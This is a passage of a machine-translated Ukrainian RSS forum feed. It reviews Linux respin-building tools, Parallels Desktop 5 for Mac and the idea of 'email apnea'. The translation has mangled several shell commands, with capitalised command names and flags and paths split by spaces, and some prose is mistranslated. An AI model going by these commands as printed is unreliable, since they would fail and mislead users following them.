виконуються при завантаженні системи. Є навіть примітивні налаштування файрвола.&lt;br /&gt;&amp;#160; &amp;#160;4. Власне, вибір типу Респін (LiveCD, образ HDD / Flash або образ віртуальної машини) і його складання. Сама збірка проходить на диво спритно - у мене це займало від трьох до десяти хвилин.&lt;/p&gt;
						&lt;p&gt;Але сама зручна, як мені здалося, фішка сервісу - це можливість протестувати тільки що створений Респін прямо в браузері (функція Testdrive). Для цього тобі на годину видається віртуальна машина KVM. Для більш-менш нормальної роботи цієї функції потрібен інет від 2 Мбіт / с. До запущеному Респін можна буде навіть підключитися по ssh або vnc. Шкода, що вихідні з&#039;єднання заблоковані:). Внесені в процесі тестування зміни можна буде зберегти за допомогою функції &amp;quot;Modified Files&amp;quot;, що відображає всі змінені з моменту запуску віртуалки файли. У цілому, Suse Studio справляє враження простого, зручного, стабільного і, разом з тим, досить гнучкого інструменту. Цим пояснюється відносно висока популярність проекту - на тиждень тут збирають більше 4000 Респін. Єдиний мінус (хоча, для кого як) - це обмеженість у виборі базового дистрибутиву для збірки. Загалом, must use для любителів Suse!&lt;br /&gt;Ubuntu: реконструкція&lt;/p&gt;
						&lt;p&gt;Reconstructor, на відміну від попереднього проекту, спеціалізується на Debian та Ubuntu. Проект &amp;quot;умовно-платний&amp;quot; - після реєстрації кожен місяць тобі нараховується $ 5, які можна витратити на ті чи інші послуги проекту. Варто відзначити, що вартість послуг досить демократична (наприклад, складання проекту коштує $ 0,3), тому $ 5 в місяць особливо фантазію не обмежують. При бажанні, баланс можна в будь-який момент поповнити через PayPal.&lt;/p&gt;
						&lt;p&gt;При створенні проекту на початковому етапі вибирається базовий дистрибутив (на момент написання статті вибір складався з Debian 5, Ubuntu 9.04 і 9.10 архітектур x86 та x86-64), DE (Gnome, KDE, Xfce або Text Only) і тип Респін (LiveCD чи образ диска). Після створення проекту пропонується вибрати додаткові пакети зі стандартного репозиторію, що входять у твій Респін (залежно вирішуються, але це явно не відображається у списку встановлених пакетів). На жаль, розмір додаються пакетів відображається без обліку залежностей, тому стежити за розміром кінцевого образу проблематично. Крім пакетів зі стандартного репозиторію, до проекту можна додавати різні модулі, що реалізують той чи інший функціонал. Ось деякі з них:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * APT REPOSITORY І UBUNTU PPA REPOSITORY - дозволяють додати до проекту сторонній репозиторій. Щоправда, у списку доступних для встановлення пакетів пакети з цих репозиторіїв не з&#039;являться, установку з них треба прописувати в спеціальний &amp;quot;Post Script&amp;quot;;&lt;br /&gt;&amp;#160; &amp;#160; * INSTALL DEB PACKAGE - встановити довільний deb-пакет;&lt;br /&gt;&amp;#160; &amp;#160; * SYSTEM UPGRADE - дозволяє провести апгрейд системи;&lt;br /&gt;&amp;#160; &amp;#160; * PRESEED - дозволяє змінити Preseed-файл;&lt;br /&gt;&amp;#160; &amp;#160; * INSTALL FILE - дозволяє завантажити файл у довільне місце в майбутній ФС;&lt;br /&gt;&amp;#160; &amp;#160; * РІЗНІ МОДУЛІ для поліпшення зовнішнього вигляду: завдання теми, шпалер, іконок, стартової сторінки Firefox і т.д.&lt;/p&gt;
						&lt;p&gt;Після того, як всі необхідні зміни внесені, можна починати складання проекту (кнопка &amp;quot;Build Project&amp;quot; у лівому верхньому куті). Твоє завдання на складання стане в чергу, і через деякий час (в залежності від навантаженості сервісу та обсягу твого завдання) тобі на пошту прийде лист про закінчення процесу. Всі мої проекти збиралися від 10 хвилин до години. Зібраний проект можна завантажити в перебігу семи днів, після він буде вилучений.&lt;/p&gt;
						&lt;p&gt;Примітно, що вихідні коди самого Reconstructor поширюються за ліцензією GPLv3, тому ти цілком можеш сам підняти подібний сервіс.&lt;/p&gt;
						&lt;p&gt;У цілому, Reconstructor - хороший, хоча і не позбавлений деяких недоліків, сервіс. У мінуси можна записати обмеженість вибору базового дистрибутиву, умовну платність, неможливість обчислення кінцевого розміру дистрибутива в процесі додавання пакетів.&lt;/p&gt;
						&lt;p&gt;Деякі з цих недоліків покликана вирішити офлайн версія, яку можна завантажити зі сторінки wwwreconstructor.org / projects / reconstructor / files. Причому доступні дві редакції:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * RECONSTRUCTOR ENGINE - дана версія дозволяє збирати проекти, експортовані з веб-інтерфейсу;&lt;br /&gt;&amp;#160; &amp;#160; * RECONSTRUCTOR - &amp;quot;повноцінна&amp;quot; версія, що має всі ті ж функції, що й веб-інтерфейс, плюс ще кілька цікавих.&lt;/p&gt;
						&lt;p&gt;Оскільки перша редакція - це, по суті, тільки локальний складальник, звернемо пильну увагу на другу. На відміну від веб-інтерфейсу, вона дозволяє з невеликою похибкою відслідковувати розмір майбутнього Респін. Крім того, є можливість запуску терміналу в chroot-оточенні майбутньої системи, що відкриває практично необмежені можливості по кастомізації. Потенційно цікава також експериментальна функція запуску іксів в chroot (правда, як і належить експериментальної функції, у мене вона не запрацювала ні на одній з тестових машин). Також, як і у веб-інтерфейсу, у офлайн версії є модулі - спеціальні скрипти на Bash, що виконуються перед остаточною збіркою системи. Ще з цікавих функцій присутні: можливість видалити з диска всі Windows-програми (Firefox, Thunderbird і т.д.) і можливість налаштування запускаються із стартом системи сервісів.&lt;br /&gt;Майстер на всі руки&lt;/p&gt;
						&lt;p&gt;Якщо два розглянутих вище сервісу, в принципі, схожі один на одного, то Instalinux відрізняється від них кардинально. По-перше, ніякої реєстрації - просто заходь на сайт і починай працювати! По-друге, підтримка ряду великих дистрибутивів: CentOS, Debian, Fedora, OpenSUSE, Scientific, Ubuntu. І, нарешті, по-третє, на виході вийде не традиційний LiveCD / інсталятор, а netinstall-образ, який при установці викачує все необхідне з инета.&lt;/p&gt;
						&lt;p&gt;Спеціальний майстер дозволяє за 6 кроків задати основні параметри майбутньої системи. Крім стандартних мови, розкладки і годинного пояса можна визначитися з розбивкою гвинта (або розбивати гвинт автоматично, або налаштовувати розбиття в процесі установки). Інший важливий крок - вибір пакетів, що входять в майбутню систему. Пакети можна вибирати як групами (ставлячи галочки в чекбокса), так і поодинці (прописуючи назви пакетів в спеціальне поле). Останній крок - завдання рутових пароля (або пароль користувача у випадку з Ubuntu) і перевірка конфігурації. Після цього з&#039;явиться можливість завантажити ISO. Розмір образу може змінюватись в залежності від дистрибутива. Наприклад, образ Ubuntu з Xfce займає всього трохи більше 12 Мб, а ось Fedora 12 з LXDE - цілих 227 Мб (є підозра, що це, швидше, баг сервісу). Швидкість скачування образу не радує - у мене вона не перевищувала 30 Кб / с, хоча за таких розмірах це не критично. Крім самого ISO, на сторінці завантаження можна завантажити вийшов конфіг Preseed, Kickstart або AutoYaST.&lt;/p&gt;
						&lt;p&gt;Завантажившись з отриманого образу, набери Install для того, щоб почати установку системи. Instalinux пропонує також скористатися більш просунутою версією майстра, що має можливість ручного редагування отриманого Preseed / Kickstart / AutoYaST файлу.&lt;/p&gt;
						&lt;p&gt;До речі, розробники обіцяють швидку появу підтримки профілів. У цілому, приємний і корисний сервіс. Якби ще не низка дрібних недоробок! Зокрема, не дуже опрацьована конфігурація CentOS (що визнають самі розробники сервісу). Наприклад, у мене при кількох конфігураціях при спробі установки системи видавало: &amp;quot;Установче дерево CentOS в цьому каталозі не відповідає вашому завантажувальному диску&amp;quot;.&lt;br /&gt;Даєш черговий * buntu!&lt;/p&gt;
						&lt;p&gt;Ubuntu customization kit - ще одна офлайнова прога для кастомізації самого популярного дистрибутива. З релізу jaunty входить в офіційний репозиторій. Але все ж краще завантажити останню версію з офіційного сайту. Для нормальної роботи просить не менше 5 Гб вільного місця в домашній папці і доступ в інет. Процес створення Респін складається з наступних кроків:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Налаштування доступних в системі, а також при запуску LiveCD, мов;&lt;br /&gt;&amp;#160; &amp;#160; * Вибір DE (варіанти: kde, gnome, others). Можна нічого не вибирати - отримаємо систему без DE;&lt;br /&gt;&amp;#160; &amp;#160; * На цьому кроці треба вказати системі на ISO-образ оригінальної Ubuntu (Kubuntu, Xubuntu, etc);&lt;br /&gt;&amp;#160; &amp;#160; * Вибір назви CD;&lt;br /&gt;&amp;#160; &amp;#160; * Чи хочемо ми вручну настроїти наш Респін? Звичайно хочемо! Інакше вийде стандартний дистрибутив;&lt;br /&gt;&amp;#160; &amp;#160; * Видалити чи всі Windows-програми з CD?&lt;br /&gt;&amp;#160; &amp;#160; * На наступному кроці можна запустити в chroot Synaptic, консоль або продовжити складання дистрибутива. За замовчуванням включені тільки репозиторії main і restricted, тому вибір пакетів досить мізерний. Щоб поправити цю ситуацію, в Synaptic, в меню Settings-Repositories, потрібно включити репозиторії universe і multiverse і оновити список пакетів. Якщо є бажання більш тонко налаштувати систему (наприклад, змінити шпалери у LiveCD) - можна запустити консоль в chroot. Невеликий рада: виходити з консолі треба командою exit, а не просто закриваючи термінал - інакше проект ризикує не зібратися.&lt;br /&gt;&amp;#160; &amp;#160; * Коли всі налаштування закінчені, можна сміливо тиснути &amp;quot;Continue building&amp;quot;. Далі все залежить від потужності твого компа - у мене на ноут все зібралося хвилин за 10.&lt;/p&gt;
						&lt;p&gt;Федорина горі&lt;/p&gt;
						&lt;p&gt;Для іншого популярного дистрибутива, Fedora, теж є зручні засоби для створення Респін. Це GUI-прога Revisor і скрипт Livecd-creator з CLI-інтерфейсом. Revisor являє собою аналог UCK і Reconstructor для Fedora. Мабуть, єдина істотна відмінність - це те, що для створення Респін не потрібно LiveCD, всі пакети будуть завантажені з инета.&lt;/p&gt;
						&lt;p&gt;Revisor є в стандартному репозиторії Fedora, починаючи з сьомої версії, тому установка не повинна викликати складнощів:&lt;/p&gt;
						&lt;p&gt;# Yum install revisor&lt;/p&gt;
						&lt;p&gt;Для нормальної роботи як Revisor, так і Livecd-creator краще перевести SELinux в дозволяє режим:&lt;/p&gt;
						&lt;p&gt;# Setenforce 0&lt;/p&gt;
						&lt;p&gt;Для запуску Revisor потрібні рутові привілеї. На першому кроці майстра пропонується вибрати тип Респін (CD / DVD інсталятор і / або LiveCD). Другий крок - вибір збирається моделі. Тут треба трохи пояснити: в основному конфігураційному файлі / etc / revisor / revisor.conf описані &amp;quot;Моделі&amp;quot; (спеціальні секції в конфіги, що містять особливості складання тієї чи іншої версії Fedora). Основна характеристика конкретної моделі - репозиторії, звідки будуть завантажені пакети. За замовчуванням, Revisor в Fedora 12 може зібрати моделі Fedora 12 і Fedora Rawhide для архітектур x86, x86-64 і PPC. Додаючи опис моделей у конфіг, можна навчити Revisor збирати, наприклад, Fedora 11 і Fedora 13. На наступному кроці можна вказати kickstart-файл і вибрати, які секції з нього використовувати. Четвертий крок - вибір ПЗ. І ось тут мене чекала неприємність: список пакетів відмовився шикуватися в групи, тому пакети довелося вибирати з великого загального списку (довго, і є неквола ймовірність забути що-небудь потрібне). Мабуть, непоправний баг в Revisor, що, в принципі, не дивно - проект давно не розвивався (остання версія вийшла аж у грудні 2007). Після вибору пакетів здасться коротка статистка (кількість пакетів, обсяг для завантаження, обсяг у встановленому вигляді). Наступні кроки - налагодження мережі, завдання параметрів завантаження ядра, параметри аутентифікації, настройка файрвола, SELinux, X Window і створення користувача. Після закінчення налаштування Revisor завантажить всі вибрані пакунки з инета і почне збірку. Вся ця процедура у мене на віртуальній машині зайняла близько півгодини.&lt;/p&gt;
						&lt;p&gt;Livecd-creator - менш примхливий і більш гнучкий, але не зовсім інтуїтивно зрозумілий інструмент. Ця тулза створює LiveCD, грунтуючись на конфігураційному файлі, синтаксис якого збігається з kickstart. Установка livecd-creator (входить до складу livecd-tools):&lt;/p&gt;
						&lt;p&gt;# Yum install livecd-tools spin-kickstarts l10n-kickstarts&lt;/p&gt;
						&lt;p&gt;Чим створювати з нуля свій конфіг, простіше взяти готовий і трохи його відредагувати. Готові конфіги лежать в / usr / share / spin-kickstarts. Створюється LiveCD з конфіг наступним чином:&lt;/p&gt;
						&lt;p&gt;# Livecd-creator - config = / usr / share / spin-kickstarts / fedora-livecd-desktop.ks - fslabel = Fedora-LiveCD - cache = / var / cache / live&lt;/p&gt;
						&lt;p&gt;Всі необхідні пакети також будуть завантажені з инета.&lt;br /&gt;Userfriendly Gentoo&lt;/p&gt;
						&lt;p&gt;Легко побудувати свій Респін можна навіть на базі Gentoo, причому всього за кілька кроків. Тільки для цього треба скористатися спеціальним засобом Calculate Linux Scratch (CLS). CLS - це повністю сумісний з Gentoo дистрибутив, призначений для створення власних LiveCD / LiveUSB. Крім базової версії з OpenBox, є також версія з Gnome (CLSG). Щоб скористатися CLS, треба вибрати в меню завантаження LiveCD пункт Builder. Завантажиться звичайна на перший погляд Live-система, в якій потім можна буде тестувати внесені зміни. Для того щоб перейти безпосередньо до збірки, слід ввести:&lt;/p&gt;
						&lt;p&gt;# Cl-builder&lt;/p&gt;
						&lt;p&gt;Після виконання команди колір запрошення зміниться на коричневий і виконається chroot в / mnt / builder, де і буде відбуватися складання. У цьому режимі можна встановлювати, оновлювати, видаляти програми без будь-яких обмежень. Після того як всі необхідні зміни внесені, можна вийти з режиму збірки (набравши exit або &amp;lt;Ctrl D&amp;gt;) і протестувати зміни в Live-системі. Якщо все влаштовує, то можна запустити збірку свого LiveCD:&lt;/p&gt;
						&lt;p&gt;# Calculate - iso&lt;/p&gt;
						&lt;p&gt;Образ буде створений в / usr / calculate / share / linux. Якщо ОЗУ не достатньо, то на цьому етапі все може перепаде, тому рекомендую заздалегідь подмонтіровать до цього каталогу якої-небудь більш-менш ємний rw-носій.&lt;br /&gt;Happy End&lt;/p&gt;
						&lt;p&gt;Практично для кожного популярного дистрибутива можна знайти зручний засіб для створення Респін: будь то веб або локальне додаток. Але як би там не було, ніщо не дасть стільки експи в цій області, як збірка Linux from Scratch ...&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:13:00 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=17#p17</guid>
		</item>
		<item>
			<title>Parallels Desktop: віртуалізація для Mac</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=16#p16</link>
			<description>&lt;p&gt;Ми багато разів розповідали про пакетах віртуалізації для Windows і Linux систем: створювали з їх допомогою полігон для вивчення зразків вірусів, використовували як майданчик для вивчення нових операційних систем, сподівалися на них, коли іншого виходу запустити &amp;quot;нерідне&amp;quot; додаток не було. На жаль, віртуалізацію для платформи Mac ми до цього моменту обходили стороною, і сьогодні цю помилку виправимо, розповівши про чудовому продукті Parallels Desktop 5.&lt;/p&gt;
						&lt;p&gt;Віртуалізація для користувачів Mac OS з&#039;явилася відносно недавно. Одним з перших пакетів стала програма Virtual PC for Mac, яка в Mac&#039;ах ще використовувалася архітектура PowerPC. Правда, використовувалася вона швидше ентузіастами зразок нас з тобою, але ніяк не звичайними користувачами. Багато чого змінилося, коли Apple у своїх комп&#039;ютерах перейшла на архітектуру Intel і запропонувала рішення Boot Camp для одночасної установки Mac OS і Windows. Незабаром компанія Parallels випустила перший реліз програми Parallels Desktop for Mac, яка представляло собою засіб для віртуалізації в тому вигляді, до якого ми звикли зараз. Це було перше рішення, яке підтримувало апаратну віртуалізацію Intel VT (а зараз ще і VT-x2), дозволяючи ресурсів віртуальних машин безпосередньо звертатися до апаратного забезпечення комп&#039;ютера. Управління віртуальними машинами відбувається за допомогою так званого гіпервізора, що є &amp;quot;прошарком&amp;quot; між віртуальною машиною і апаратними ресурсами. Кожна віртуальна система працює на тому ж рівні, що й реальна ОС. Віртуальна машина має свій процесор, оперативну пам&#039;ять, пристрої введення-виведення, жорсткий диск і можливість використання CD / DVD-пристроїв. Крім того, Parallels Desktop віртуалізує відеоадаптер і мережеві інтерфейси, а також надає можливість прямого доступу до пристроїв через USB-порти. &amp;quot;Що ж тут дивного? Звичайна віртуалку&amp;quot;, - скажеш ти. Відповідаю. На сьогодні вже доступна 5.0 версія цього рішення, в якій крім основних можливостей для віртуалізації реалізовано безліч приємних дрібниць.&lt;br /&gt;Підтримувані ОС&lt;/p&gt;
						&lt;p&gt;Почати роботу з Parallels Desktop - простіше простого. Прямо під час першого запуску програма пропонує почати з установки нової Windows (або інший ОС) або ж імпорту вже існуючого віртуальної машини. По суті, все, що потрібно зробити, - це вставити диск з операційною системою. У більшості випадків програма сама зможе визначити, що за дистрибутив їй підсунули, після чого попросить ввести ім&#039;я користувача і ключ активації Windows (якщо ти встановлюєш Windows) або пароль (у випадку з Linux). Тип підтримуваних гостьових систем дуже різноманітний: це будь-які версії Windows (включаючи таку екзотику як 3.11 або ME), всілякі варіації Linux, а також Mac OS X Server, FreeBSD, OS / 2, MS-DOS, Solaris і в тому числі веб-ОС від Google - Chrome OS. На основі обраної системи, установник сам підбере найбільш підходящі параметри і створить операційну систему. Тип ОС, само собою, можна задати і самому. Якщо мова йде про якомусь екзотичному Linux `, ніхто не заважає вибрати в списку&amp;quot; Linux на ядрі 2.6 &amp;quot;і бути впевненим, що у віртуальному оточенні він найімовірніше заведеться.&lt;br /&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;http://www.xakep.ru/post/53152/Parallels_Desktop_1.jpg&quot; alt=&quot;http://www.xakep.ru/post/53152/Parallels_Desktop_1.jpg&quot; /&gt;&lt;br /&gt;Сам процес установки гостьових ОС максимально автоматизований (не дарма майстер просить відразу вести ліцензійний ключ), дозволяючи отримати встановлену Windows-систему всього в три кліка миші. Причому для ряду ОС буде програма самостійно встановлює ще й пакет Parallels Tools, який спрощує взаємодію з віртуальною машиною. А якщо на твоєму Маке вже встановлено друга операційна система з допомогою Boot Camp, програма дозволить &amp;quot;підчепити&amp;quot; відповідний розділ HDD в якості диска віртуальної машини і працювати з ним безпосередньо, без будь-яких додаткових операцій. Це дуже зручно.&lt;br /&gt;Забійна інтеграція&lt;/p&gt;
						&lt;p&gt;Проте вся принадність Parallels Desktop проявляється вже після створення віртуальних машин. Самими соковитими фішками є унікальні можливості програми, що забезпечують прозору емуляцію і максимальну інтеграцію &amp;quot;нерідних&amp;quot; додатків. Ще в 3-й версії Parallels Desktop з&#039;явився режим Coherence, який дозволяє працювати з Windows-і Mac-додатками, як ніби вони належать одній операційній системі. Новинка &amp;quot;п&#039;ятірки&amp;quot; - режим Crystal, повністю приховує інтерфейс Windows. У результаті без проблем можна працювати з будь-якими віндовий додаткам, не відволікаючись на непотрібні елементи гостьовій ОС. Оскільки Панель завдань Windows в режимах Crystal прихована, Parallels подібно додаткам Macintosh, згортають плаваючі вікна Windows в панель Dock. Відкриті програми Windows також відображаються в цій панелі під спеціальними значками. Мало цього, інтегрується і меню &amp;quot;Пуск&amp;quot;, тому запускати віндовий програми можна знову ж усе з Dock&#039;а. Ще більше інтеграції Windows додатків можна домогтися за допомогою схем оформлення MacLook, що дозволяє оформити віконця в стилі Mac.&lt;br /&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;http://www.xakep.ru/post/53152/Parallels_Desktop_2.jpg&quot; alt=&quot;http://www.xakep.ru/post/53152/Parallels_Desktop_2.jpg&quot; /&gt;&lt;br /&gt;Розробники зробили все, щоб робота з додатками гостьових ОС нічим не відрізнялася від роботи з &amp;quot;рідними&amp;quot;. У результаті було реалізовано зручніше управління Windows-додатками за допомогою Apple Remote, підтримка звичних Mac-команд при роботі з Windows-додатками через технологію Apple Trackpad Gestures, копіювання картинок і форматованого тексту між Mac, Windows і Linux. Немає нічого простішого, ніж звернутися до файлів гостьової ОС або, навпаки, хостової системи - просто переміщуй файли, папки між системами. Ти сам можеш регулювати ступінь інтеграції Mac і Windows, або навіть відмовитися від нього. Мені, наприклад, більше до душі самий звичайний віконний режим, коли з віртуальною машиною я працюю в окремому вікні.&lt;/p&gt;
						&lt;p&gt;Підтримка 3D-прискорення&lt;/p&gt;
						&lt;p&gt;Коли я був у Пітері в офісі Sun, хлопці з команди VirtualBox з великим задоволенням розповідали мені про те, як реалізовували підтримку роботи програм, які потребують 3D-прискорення. Коли вийшла Windows 7 зі всіма її ефектами, така підтримка стала особливо актуальною. У Parallels Desktop така підтримка, звичайно, є. Після запуску Windows 7 усе відразу стало ясно: зовнішній вигляд системи взагалі не відрізняє від того, як якщо б вона була встановлена у вигляді гостьовій ОС. Інтерфейс Aero, новомодні штучки на кшталт Flip 3D - все це працює як треба завдяки спеціальному драйверу Windows WDDM. До того ж Parallels Desktop підтримує Direct X 9Ex з Shader Model 3, у результаті під віртуалку заробили навіть ресурсомісткі 3D-додатки, в тому числі ігри. Втім, сама система працює дуже спритно: згідно з результатами незалежного тестування Crimson Consulting Group продуктивність роботи 64-бітної Windows 7 у віртуальній машині Parallels Desktop 5 для Mac на MacBook Pro на 22% вище, ніж у віртуальній машині інших виробників. Продуктивність 3D графіки, як показав стандартний тест 3Dmark 2006 Professional, зросла у сім разів. Причому все це стосується не тільки Windows-систем. Parallels Desktop 5 підтримує OpenGL 2.1 в гостьових операційних системах Linux і інтерфейсу Compiz на віртуальних машинах, тому всіма красою можна насолодитися і під, скажімо, Убунту.&lt;/p&gt;
						&lt;p&gt;Імпорт віртуальний машин та міграція реальної системи&lt;/p&gt;
						&lt;p&gt;На початку статті ми говорили, що Paralells Desktop дозволяє мігрувати інші віртуальні машини, створені іншими пакетами віртуалізації, а також переносити у віртуальний оточення фізичну систему. До складу програми входить спеціальний додаток Parallels Transporter, яке дозволяє з легкістю мігрувати дані з віртуальних машин або віртуальних жорстких дисків Microsoft Virtual PC (включаючи віртуальні ПК з Windows Vista або Windows XP), VMware або VirtualBox у формат Parallels. Parallels Transporter перетворює файли сторонніх віртуальних машин у формат Parallels зі збереженням усіх додатків і даних у вихідному вигляді. Під час міграції створюється конфігураційний файл віртуальної машини (. Pvs) і файл віртуального жорсткого диска (. Hdd). Ці два файли і складають готову для використання віртуальну машину. Я без проблем переніс свої тестові машини для аналізу підозрілих файлів з VirtualBox&#039;а і VMware, встановлених під віндою. Але врахуй: є невеликий нюанс. Кожна з програм віртуалізації пропонує встановити в гостьову систему додаткові утиліти для більшої зручності роботи з віртуальної машини (прозоре переміщення миші між гостьовою і хостової системою, простий обмін файлами і т.д.): в VMware - це VMware Tools, в Microsoft Virtual PC - це Virtual Machine Additions, в безкоштовному VirtualBox - VirtualBox Guest Additions. Так ось перед тим, як імпортувати віртуальну машину, їх обов&#039;язково необхідно з гостьової системи видалити.&lt;/p&gt;
						&lt;p&gt;Крім простого конвертації файлів інших віртуальних машин, Parallels Transporter вміє виконувати ще більш складна дія - мігрувати реально працюючу систему у віртуальний оточення. Для інших систем віртуалізації, для цього потрібна була б окрема програма! Є кілька варіантів перенести дані: по локальній мережі, за спеціальним USB-кабелю, через зовнішній носій. Я спробував перший варіант і здивувався простоті процесу. Все, що потрібно, - встановити на вихідному комп&#039;ютері спеціальний додаток Parallels Transporter Agent. Прога збирає необхідні системні дані на вихідному комп&#039;ютері і передає їх Parallels Transporter по мережі.&lt;br /&gt;Висновок&lt;/p&gt;
						&lt;p&gt;Я спробував встановити під Paralles Desktop Windows 7, XP, а також імпортував кілька віртуальних машин з VMware і VirtualBox. У результаті, всі гостьові ОС працюють під Mac&#039;ом дуже спритно. Інтеграція з системою - надзвичайно зручна річ. Нарешті-то, можна прямо під Mac&#039;ом комфортно працювати в тій же самій Visual Studio, не заморочуючись з перезавантаженням і навіть перемиканням між гостьовою і хостової системами. Виходить, пропадає єдина причина відмовляти собі в переході на Mac. І в цьому велика заслуга Parallels Desktop.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:11:45 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=16#p16</guid>
		</item>
		<item>
			<title>Електронно-поштова асфіксія</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=15#p15</link>
			<description>&lt;p&gt;Втомив нескінченний потік SMS і листів? Новітня ідеологія &amp;quot;бути завжди на зв&#039;язку&amp;quot; має свої недоліки, однак не варто давати волю роздратуванню, допомога вже в дорозі ...&lt;/p&gt;
						&lt;p&gt;Для почуття миттєвої паніки в момент спливаючого повідомлення про отримання нового поштового повідомлення вже придумали наукова назва: електронно-поштова асфіксія. Якщо вірити Лінде Стоун, колишньому психолога компанії Microsoft, яка придумала цей термін, електронно-поштова асфіксія проявляється в момент отримання нового листа і пов&#039;язана з секундним порушенням дихального процесу. Людина перебуває в постійній напрузі, зсутулившись перед екраном комп&#039;ютера, не здатний сконцентруватися на інших справах, поки не розбереться з напливом переглянутої електронної пошти.&lt;/p&gt;
						&lt;p&gt;Стоун турбує ще одна проблема покоління, яке &amp;quot;завжди на зв&#039;язку&amp;quot;, - постійне розшарування уваги. Симптоми розшарування уваги проявляються в момент методичного перебору телевізійних каналів або перегляду декількох веб-сторінок одночасно.&lt;/p&gt;
						&lt;p&gt;Певною мірою це спосіб емоційного збудження для молоді. Культура постійної доступності, врешті-решт, ще тільки зароджується. Сервіси Google ледь вступили в пору отроцтва, а Facebook - зовсім шестирічний малюк. Розумні люди вже придумали кілька варіантів рішення. Nokia Beta Labs випустила додаток Nokia Bots. Програма покликана згладити вічно рваний через постійного припливу електронної пошти денний графік роботи. По суті, мова йде про особистому секретареві, який фільтрує вам інформацію. &amp;quot;Ваше пристрій навчиться передбачати ваші бажання і приховувати інформацію, яка, на його думку, вас не зацікавить&amp;quot;, - говорить Арії Турунен, один з розробників програми Nokia Bots.&lt;/p&gt;
						&lt;p&gt;У підсумку, замість того, щоб кожен день заводити будильник, Nokia Bots відстежує ваш звичайний розпорядок дня (скажімо, той факт, що підйом у вас призначений за дві години до першої ділової зустрічі) і встановлює будильник самостійно. А за десять хвилин до початку наради автоматично переводить смартфон в режим &amp;quot;без звуку&amp;quot;. Для деяких подібні інновації опиняться занадто серйозним кроком, а багато зовсім віддадуть перевагу повністю відключатися від цифрового світу на якийсь час. Забудьте про знамениту фразу доктора Лірі, що стала девізом прихильників психотропних речовин: &amp;quot;Включити, настройся, відпад&amp;quot;. Новим гаслом для розчарувалися в гаджетах техноборцев стане &amp;quot;Відключи і відключити&amp;quot;.&lt;/p&gt;
						&lt;p&gt;Письменник з Нью-Йорка Вініфред Галлахер доклав чимало зусиль, аби позбутися від електронно-поштової асфіксії, перебравшись до позбавлений навіть ознак новітніх технологій будинок з працює на дровах пічкою.&lt;/p&gt;
						&lt;p&gt;&amp;quot;Коли в будинку градусник показує плюс 15, єдиною турботою залишається проблема зігрівання, - сказав Галлахер в інтерв&#039;ю New York Times. - Концентрація на виживання лежить в основі філософії дзен, сприяє очищенню свідомості&amp;quot;.&lt;/p&gt;
						&lt;p&gt;Але нам ближче підхід до існування в стилі технодзен, проголошений художником Нако Карбонелл. У чому сіль такого проведення часу? &amp;quot;Сидіти в кущах, - посміхнувся він, - з повним іграшок ноутбуком&amp;quot;.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:09:14 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=15#p15</guid>
		</item>
	</channel>
</rss>
